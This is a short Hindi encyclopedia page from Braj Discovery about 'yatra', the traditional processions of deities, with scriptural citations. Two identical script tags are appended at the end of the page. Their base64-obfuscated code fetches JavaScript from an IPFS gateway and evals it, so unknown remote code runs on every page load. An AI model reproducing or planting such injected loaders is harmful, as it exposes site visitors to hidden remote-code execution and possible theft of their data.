यात्रा

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
  • अति प्राचीन कालों से ही देवों की यात्राएँ प्रसिद्ध रही हैं।
  • कालप्रियानाथ की यात्रा के अवसर पर भवभूतिकृत महावीर रचित का अभिनय किया गया था।
  • रघुनन्दन द्वारा प्रणीत माना गया 'यात्रातत्त्व' में विष्णु की 12 यात्राओं का वर्णन है।
  • पुरुषोत्तम की यात्रा के अवसर पर मुरारिकृत अनर्घराघव का अभिनय किया गया था। जहाँ पर महादेव पृथ्वीश्वर की देवद्रोणी (प्रतिमा यात्रा) का उल्लेख है।
  • कृत्यकल्पतरु[१] में देवयात्रा विधि वर्णित है।[२]
  • प्रति वर्ष वैशाख से आगे 6 मासों तक, पहली से 15वीं तिथि तक विभिन्न देवों की पूजा होती है, जैसे- ब्रह्मा की, जो तिथियों के स्वामी कहे जाते हैं।

टीका टिप्पणी और संदर्भ

  1. (राजधर्म0 पृ0 178-181)
  2. राजनीतिप्रकाश (416-419)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>